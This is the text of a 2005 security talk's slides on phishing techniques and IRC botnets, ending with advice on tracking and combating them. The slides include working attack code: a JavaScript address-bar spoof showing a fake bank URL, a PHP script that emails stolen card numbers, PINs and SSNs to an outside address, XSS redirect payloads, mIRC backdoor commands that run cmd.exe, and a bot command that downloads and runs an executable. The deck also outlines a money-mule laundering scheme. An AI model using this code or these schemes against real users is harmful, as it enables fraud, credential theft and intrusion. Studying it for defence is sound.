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Outline

Phishing (20 min)

Botnet (40 min)
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What is Phishing?

Phishing attacks use both social 
engineering and technical subterfuge to 
steal consumers' personal identity data and 
financial account credentials. 

Such as credit card numbers, account usernames, 
passwords and social security numbers..

使用者

Username:

Password:

XX銀行首頁

XX銀行通知

假Email

假網站

請點選此連結

網路釣客
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Phishing site sample #1

Steal money or credit card info..
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Phishing site sample #2

Steal onlinebank account 
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Phishing site sample #3

Steal service/identity
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Phishing site sample #4

Steal service/identity
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Phishing site sample #5

Steal service/identity
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Phishing site sample #6
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Incresing of phishing sites
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Tricks of Phishing

Similar looking URL to Genuine URL  
Using IP address  
Pop Up Windows 
URL spoofing of address bar 
Install Trojans or Spyware
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Similar looking URL to 
Genuine URL

http://www.barclays.co.uk/ is the 
oringinal bank website.

Two similar looking URL example 

1. http://www.barclayze.co.uk』

2. http://www.barclays.validation.co.uk

using a sub-domain such as 
"http://www.barclays.validation.co.uk", where the 
actual domain is "validation.co.uk" which is not 
related to Barclays Bank. 

http://www.barclays.co.uk/
http://www.barclays.validation.co.uk/
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Pop Up Windows
open a real webpage in the background while a bare pop up window (without address bar, 

tool bars, status bar and scrollbars) is opened in the foreground to display 
the fake webpage 
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Scripts hide the IE address bar
var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root= document[
(document.compatMode=='CSS1Compat') ?
'documentElement' : 'body'
];
vuln_x= window.screenLeft+70;
vuln_y= window.screenTop-45;//adjust window position
vuln_w= root.offsetWidth-200;
vuln_h= 17;//url window height
vuln_show();
}

var vuln_win;
function vuln_pop() {
vuln_win= window.createPopup();
vuln_win.document.body.innerHTML= vuln_html;
vuln_win.document.body.style.margin= 0;
vuln_win.document.body.onunload= vuln_pop;
vuln_show();
}

function vuln_show() {
if (vuln_win)
vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h);
}

var vuln_html= '<div style="height: 100%; line-height: 17px; font-family: \'Tahoma\', sans-serif; font-size: 
8pt;">https://internetbanking.suntrust.com/default.asp</div>'

if (window.createPopup) {
vuln_calc();
vuln_pop();
window.setInterval(vuln_calc, 25);
} else {
}
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Install Trojans or Spyware
- Client side attack

Malicious site (ex.IE iFrame vulnerability MS04-
040,MS05-036/37…)
Client will d/l malicious file and execute it after 
browsing a malicious page.
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Install Trojans or Spyware
- A malicious site example
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Tricks to keep phishing page stealth

Using ‘dot’ to hide directory

Unless you use  -a, --all
do not hide entries starting with .
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Data is then sent to  phisher
Send.php
<?php
session_start();
$first = $HTTP_POST_VARS['first'];
$last = $HTTP_POST_VARS['last'];
$cctype = $HTTP_POST_VARS['cctype'];
$ccnumber = $HTTP_POST_VARS['ccnumber'];
$ccmonth = $HTTP_POST_VARS['ccmonth'];
$ccyear = $HTTP_POST_VARS['ccyear'];
$cvv2 = $HTTP_POST_VARS['cvv2'];
$ssn = $HTTP_POST_VARS['ssn'];
$pin = $HTTP_POST_VARS['pin'];
$email = $HTTP_POST_VARS['email'];
$ip = getenv("REMOTE_ADDR");
$adddate=date("D M d, Y g:i a");
$subj = "Banking Account Info";
$msg = "First Name: $first\nLast Name: $last\nType: $cctype\nCredit Card Number:$ccnumber\nCC Month: $ccmonth\nCC year : 

$ccyear\nPIN: $pin\nIP: $ip\nDate: $adddate\nSSN: $ssn\nCVV2: $cvv2\nEmail: $email";
$from = "From: card@suntrust.com";

mail("insane@cannibalism.tv", $subj, $msg, $from);
header("Location: thankyou.htm");

?>
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How to launder money

1.The phisher has already got 
the account info by phishing.

4.The money is then withdrawn by the 
job applicant and wired to foreign 
account (it’s probably another middle 
man).

3.Phisher then transfer money from the 
‘phishing victims’ into the job 
applicants’account.

2.Send mails to recruit job seekers.

5.Finally , phisher get the money.

Local

Foreign
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How to launder money (cont)
- Recruit job seeker by spam
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Beyond phishing

Phisher uses two methods to speed up the 
installation of phishing sites.

1. Usingf Phishing package.
2. installing redirection services to deliver web traffic 

to existing phishing websites
Uses the victim host to send spammails for 
advertising phishing websites 
propagation of spam and phishing
messages via botnets
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Redir

Benefit of redir:
1. Easy to config compromised host

Increase the speed of compromising
vulnerabile systems

2. If a compromised host is detected,
the main phishing site is still alive
if a main site is detected, hacker will
set one of the compromised host to
be the main site
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Active phishing attack!
Cross-site scripting redirection
Script injection

Two threats of web application!
SQL injection
Malicious script

Insert redirect script on forums or guestbook.
1. <script>timerID=setTimeout('window.location.href="http://fake/

member.htm"',100);</script> 
2. <script>location.replace("http://www.yahoo.fake.com/member/");

</script>

Script code can redirect the user to fake authentication 
page and steal his account information.
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Auction scams – interception

1.Send the fake mail to buyer 
before real seller.

2.Send the fake mail to seller.

A scam which focus on dedicated victim!

Typically using Mails overflow to 
reveal the fake mail



2005 July 16 Copyright alan@chroot.org 25

Botnet in depth
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What is BotNet ?
-- Control

IRC constructs a 
signal channel which 
let hackers control 
victims without being 
found.
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Botnet formation

Hacker writes the bot
backdoor

He install the bot
backdoor in the 
compromised hosts

Bot
controller
(IRC server)

Bot

Bot

host with High bandwidth usually chosen to be the 
controller

Nowadays, Botnet is a new control 
machanism after hacking compromised 
hosts.

Insides bot source code
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Botnet formation (cont)

Give orders in IRC channel.

Do spreading automatically

Bot
controller
(IRC server)
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Threats of botnets
DDoS extortion
Installing malwares , spywares
Selling advertisements
Manipulating online polls
Sending Spammails
Doing Phishing
Renting bots
Information lost / Identity theft / Sniffing
Stealing CD-key,online-game goods ..
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IRC and IRC bot
IRC is the earliest form of online chat.

IRC (Internet Relay Chat) 1993
RFC 1459,2810,2811,2812,2813
Users can chat at channels in realtime.

Channel management (RFC 2811) ,2000
Channel operator (+o)
Private (flag p) and Secret (flag s) Channels
Channel Topic (/topic #chan_name topic)
Channel key( +k)
Ban user

CTCP/DCC (1994)
An IRC bot writer should be very familiar with the IRC standards.
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IRC and IRC bot (cont)
IRC bot

A IRC client program which enforce channel policies.
Ban users if they speak special keywords.
Give the op to specific users/ Do User level management.
Prevent flooding.
React to certain events.

Eggdrop、Perlbot、ircII script bot、mIRC script…

Advanced IRC bot
P2P file sharing.
Gamebot、Talkbot
Google bot、Sysbot…
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IRC and IRC bot (cont) 
- mirc bot examples 

Sysbot
/load -rs SystemInfo.mrc
/ctcp sysbot systeminfo

Google bot

P2P file sharing
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What they do & How they work
- Inside the Bot IRC channel !!

1) Connect to the bot controller(IRC server).
/sever xxx.xxx.xxx.xxx serverpass

2) Enters specific channel with password, interprets its topic as command.

Bot list - Bots that perform the 
same action in the channel.

They are compromising other hosts by 
using MS-0411 LSASS vulnerability.

3) Hacker can herd 
some bot to 
another channels 
or servers.
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Inside the Bot IRC channel
- The IRC channel Bot joined

When the Bots are connected to the IRC Server the 
channel they join is usually set with various channel 
modes to restrict access or help stealth the fact that 
the channel or the occupants of the channel are 
there. 

+s (secret : cannot be seen in channels list)
+u (userlist is hidden)
+m (moderated : a user cannot send text to that channel 
unless they have operator @ access or +v voice)
+k (cannot enter the channel unless you know the correct 
key)



2005 July 16 Copyright alan@chroot.org 35

Inside the Bot IRC channel !! (cont)
- Scanning and Spreading
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Inside the Bot IRC channel !! (cont)
- Scanning for new vulnerabilities or victims

Scan for SWAT  (Samba Web Administration Tool) port 901
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Tricks to hide Bot controller
- Dynamic DNS

Specific IRC servers are set in Bot.(Set up with 
domain name)

Bot owner uses Dynamic DNS .

Hiding controller and saving bandwidth
Bot will not connect to IRC server if 

1. bot lost signal of network/can’t resolve server name.
2. Bot resolve IRC server name to 0.0.0.0 or 127.0.0.1.

Bot Bot

Bot controller
IRC server list

0.0.0.0
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Tricks to hide Bot controller
- Bots change their controller

Hacker can change the controller when the victim has been found

Migration of bots

Time

N
um

bers of bots 
connect to the 
controller
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Variants of Bots 
Agobot/Phatbot/Gaobot/XtremBot

Written in C++, module scalabilities
Public in GPL,  lots of users improve its 
abilities and functions. powerful variants !

Rootkit technologies to hide process
Capabilities to detect debuggers..

written by Ago alias Wonk, a young German man who was arrested 
in May 2004 for computer crime.

SDBot/RBot/UrBot/UrXBot/…
Written in C, poor design..



2005 July 16 Copyright alan@chroot.org 40

Variants of Bots(cont)

mIRC-based Bots - GT-Bots
Launch an instance of the mIRC chat-client 
with a set of scripts(.mrc) and other binaries.
.mrc is a powerful script that

Can create socket,/exe,/dll…
Following symptom are found.

May use hidewindow to hide mIRC process.
Change the filename of mIRC.exe (old version mIRC)
DLL files are linked to mIRC for mIRC script.
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Variants of Bots(cont)
- write your bot

mIRC script – remote event
The remote allows you to create scripts that react to IRC 
Server events

Advanced scripts
1.

2.

3.

on 1:TEXT:hello*:#:/msg $chan Welcome!!!! to $chan $nick!example

ctcp ^*:DO:*:{ . $+ $2- | .halt } 

on 1:TEXT:cmd:#:/run cmd.exe
on 1:TEXT:dll:#:/dll run32.dll

on *:PART:#:{ .msg #noticechannel I have just parted $chan }

/ctcp alan DO run cmd
/ctcp alan DO run notepad c:\config.sys
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Virus kit
Bot generator
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Virus kit (cont)
Agobot Config GUI – configuration generator
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Virus kit (cont)
VBS worm Generator
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Functions inside a Bot
Bot should be designed in modular way. Easy to add new features.

Take Agobot as example
1.Sanner modules

2.Update modules

3.DoS modules

4.Harvest modules

5.3rd modules
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Functions inside a Bot(cont)
Scanner modules

Scan and automated infection mechanism.

Update modules
Fetch newest bot program and install it automatically

『.http.update http://<server>/~location/xxxBot.exe c:\yyy.exe 1』

Agobot
Source code
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Functions inside a Bot(cont)
Protect mechanism --- Rootkit:Hiding process
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Functions inside a Bot(cont)
Bot.secure -> Fix vulnerabilities for you !!!

…
…

.
Close shares

Remove viruses

Disable Dcom

Why? -> Hacker Hijacks bots from another hacker
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Functions inside a Bot(cont)
DoS modules

Syn,UDP,ICMP flood, password brute forcer, 
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Functions inside a Bot (cont)
Info stealing(Harvest) modules

Harvest CD-Key, specific information, Sniffing,keylogger

CD-keys

Email harvest
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Tracking and combating with 
Botnets

First, DDoS has no perfect solution! 
Second, know botnet ,know your ememy and then you might have the chance to 
survive.
Type 1 – some hosts in your Intranet are bots.

Bots connect to the same bot controller.
Channel signals still work 

Setting NIDS signatures in gateway area.
Channel signals stop

Setting NIDS signatures in DNS area.
Bots connect to several bot controllers.

Some of the Domain bot connects to you don’t  know. -> sniffer the DNS 
traffic and find out unusual query.

DNS

Intranet



2005 July 16 Copyright alan@chroot.org 52

Tracking and combating with 
Botnets(cont)

When kick the bot out

The controller of a botnet has
to authenticate himself to 

take control over the bots.

Type 2 – You are being DDoSed !
Ask the ISP for help.
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Tracking and combating with Botnets (cont) 
Release the bots?

Is this possible? Hack into controller, give the 
command to stop the attack and release all bots?? 
(like Will Smith)

Step 1: get the server/channel key from a compromised bot.
Step 2: get the auth of botnet controller. 

Wait for hacker.
Tracing bot and system .

Step 3: stop and release all bots??
→ You are also a hacker if you do so .

I,Robot,2004

??
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Tracking and combating with 
Botnets (cont)

Bot owner use MD5 storing the admin 
password, but
it can be sniffer unless using SSL encryption.

IP ACL is used to limit the control src IP.
It’s almost impossible.
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Conclusion

Active phishing scam (script injection) could be the 
new threat of phishing attack.
Users need to be educated.( But…. )

IRC will not be the only control machanism of botnet.
Know your ememy than you will have chance to 
catch him.
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